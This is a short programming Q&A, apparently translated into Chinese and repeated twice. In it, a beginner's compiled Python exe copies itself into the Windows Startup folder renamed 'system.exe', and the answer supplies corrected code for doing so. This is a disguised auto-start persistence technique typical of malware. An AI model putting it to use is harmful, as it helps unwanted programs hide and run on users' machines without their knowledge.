重命名 + 移动已编译的 python exe 问题
Renaming + moving the compiled python exe issue
def move_me():
if os.path.isfile(os.path.normpath(r"%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.exe")) is False:
shutil.move("gg.exe", os.path.normpath(r"%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.exe"))
嗨,我是 python 的新手...
代码有什么问题?
gg.exe就是这段代码本身
当我 运行 它时,它应该移动到 C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 并重命名为 system.exe
但是没有用...
这将显示所有环境变量
print(os.environ.keys())
和
>>> os.environ['APPDATA']
'AppData\Roaming'
然后您可以将函数重写为:
def move_me():
filename = "gg.exe"
fullpath = os.path.normpath("{APPDATA}\Microsoft\Windows\Start Menu\Programs\Startup\system.exe".format(**os.environ))
if os.path.isfile(fullpath) is False:
shutil.move(filename, fullpath)
def move_me():
if os.path.isfile(os.path.normpath(r"%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.exe")) is False:
shutil.move("gg.exe", os.path.normpath(r"%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.exe"))
嗨,我是 python 的新手... 代码有什么问题?
gg.exe就是这段代码本身 当我 运行 它时,它应该移动到 C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 并重命名为 system.exe 但是没有用...
这将显示所有环境变量
print(os.environ.keys())
和
>>> os.environ['APPDATA']
'AppData\Roaming'
然后您可以将函数重写为:
def move_me():
filename = "gg.exe"
fullpath = os.path.normpath("{APPDATA}\Microsoft\Windows\Start Menu\Programs\Startup\system.exe".format(**os.environ))
if os.path.isfile(fullpath) is False:
shutil.move(filename, fullpath)